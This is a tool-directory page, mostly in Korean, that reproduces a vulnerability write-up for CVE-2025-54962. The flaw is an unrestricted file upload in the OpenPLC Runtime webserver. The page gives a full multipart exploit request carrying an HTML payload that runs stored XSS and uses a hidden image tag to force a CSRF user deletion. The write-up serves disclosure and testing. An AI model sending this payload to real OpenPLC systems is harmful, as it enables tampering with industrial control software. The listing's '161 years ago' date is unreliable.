Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-54962 — 인증된 사용자는 OpenPLC Runtime에서 프로필 이미지로 임의 파일(.html, .svg 등)을 업로드할 수 있습니다. 이 파일들은 인증 없이 공개적으로 접근 가능하여 저장형 XSS 또는 악성 콘텐츠 전달을 허용합니다. | Kitploit
도구/GitHubGitHub/eyodav/cve-2025-54962
Vulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationPenetration TestingLearning & Education
GitHubeyodav/cve-2025-54962

CVE-2025-54962

인증된 사용자는 OpenPLC Runtime에서 프로필 이미지로 임의 파일(.html, .svg 등)을 업로드할 수 있습니다. 이 파일들은 인증 없이 공개적으로 접근 가능하여 저장형 XSS 또는 악성 콘텐츠 전달을 허용합니다.

저장소 보기
161년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔥 CVE-2025-54962 — OpenPLC Runtime Webserver의 안전하지 않은 파일 업로드

(OpenPLC Runtime ≤ 2024-12-31 — 저장된 XSS, CSRF)

📌 요약

저는 OpenPLC Runtime 웹서버(릴리스 버전: 2024-12-31)에서 인증된 사용자가 프로필 사진으로 임의의 파일(예: .html, .svg)을 업로드할 수 있는 취약점을 발견했습니다. 이 파일들은 /static/ 디렉터리에 저장되며 인증 없이 접근 가능하여 저장된 XSS 또는 악성 호스팅 시나리오를 가능하게 합니다.


🧪 영향을 받는 구성 요소

  • 경로: /edit-user
  • 영향: 프로필 이미지의 파일 업로드 기능

⚠️ 영향

  • MIME 및 확장자 검증이 부족한 임의 파일 업로드
  • 저장된 XSS
  • 악성 콘텐츠 호스팅
  • 업로드된 파일에 대한 인증되지 않은 접근
  • CSRF

🎯 공격 벡터

  1. 인증된 사용자가 프로필 사진으로 .html 또는 .svg 파일을 업로드합니다.
  2. 파일은 /static/에 저장되며 예측 가능한 ID가 부여됩니다 (예: http://localhost:8080/static/336029.html)
  3. 모든 사용자(인증되지 않은 사용자라도) 업로드된 파일에 직접 접근할 수 있습니다.
  4. 파일에 JavaScript 또는 기타 악성 코드가 포함되어 있으면 피해자의 브라우저에서 실행됩니다.

📸 시각적 개념 증명

PLC가 실행 중일 때의 대시보드

dashboard.png

악성 .html 파일 업로드

choose file.png

"모든 파일"을 사용하여 이미지 필터 우회

file.png

/static/에서 실행된 업로드 파일

poc.png


🎞️ 비디오 PoC

  • 기본 PoC 데모
    poc de base.mp4

  • 인증되지 않은 접근 시연
    unauthenticated.mp4

  • CSRF PoC
    poc csrf.mp4


📤 Burp Suite Repeater를 사용한 익스플로잇 요청 예제

POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
도구 다운로드